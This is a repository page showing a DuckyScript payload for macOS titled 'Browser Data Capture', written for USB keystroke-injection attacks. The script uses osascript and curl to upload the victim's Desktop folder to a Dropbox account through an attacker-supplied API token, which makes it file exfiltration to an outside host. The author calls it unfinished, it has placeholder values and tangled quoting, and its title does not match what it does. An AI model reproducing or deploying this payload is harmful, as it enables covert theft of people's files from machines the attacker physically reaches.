Files
MacOS-DuckyScripts/Executions/Browser Data Capture.txt
T
Narsty 028d633b4e Browser Data Capture is a (work In Progress)
Big Shoutout to @https://github.com/I-Am-Jakoby for the inspiration, lines and idea

Still needs a lot of work.
2023-05-13 21:43:43 -05:00

19 lines
606 B
Plaintext

REM Author: Narsty
REM Title: Browser Data Capture
REM Version 1.0 MacOs
osascript -e 'tell application "Script Editor"
set desktopPath to POSIX path of (path to desktop folder)
set dropboxAPIPath to "Your API token Here"
set uploadScript to "curl -X POST 'URL of the Dropbox API endpoint' \
-H 'Authorization: Bearer " & dropboxAPIPath & "' \
-H 'Dropbox-API-Arg: {\"path\": \"/Desktop/$(basename \\\"" & desktopPath & "\\\"), \\\"mode\\\": \\\"overwrite\\\"}' \
-H 'Content-Type: application/octet-stream' \
--data-binary @\"" & desktopPath & "\""
do shell script uploadScript
end tell'